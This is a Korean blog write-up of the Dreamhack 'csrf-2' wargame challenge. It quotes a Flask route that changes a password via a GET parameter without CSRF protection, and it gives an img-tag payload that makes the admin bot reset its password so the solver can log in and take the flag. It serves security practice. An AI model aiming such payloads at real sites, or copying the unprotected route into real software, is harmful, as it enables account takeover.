Dreamhack csrf-2

정동겸·2023년 4월 6일
0

문제 정보

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.

CSRF 취약점을 이용해 플래그를 획득하세요.

문제 풀이

문제를 해결하려면 admin 계정의 비밀번호를 변경한 후 admin 계정으로 로그인 해야 한다.

@app.route("/change_password") // 비밀번호 변경
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

csrf-1과 같게 img 태그와 src 속성을 이용해서 admin 계정의 비밀번호를 변경하면 된다.

<img src="http://127.0.0.1:8000/change_password?pw=1234"/>

비밀번호 변경 후 admin 계정으로 로그인해 보면 루트 페이지에 flag가 있는 걸 확인할 수 있다.

0개의 댓글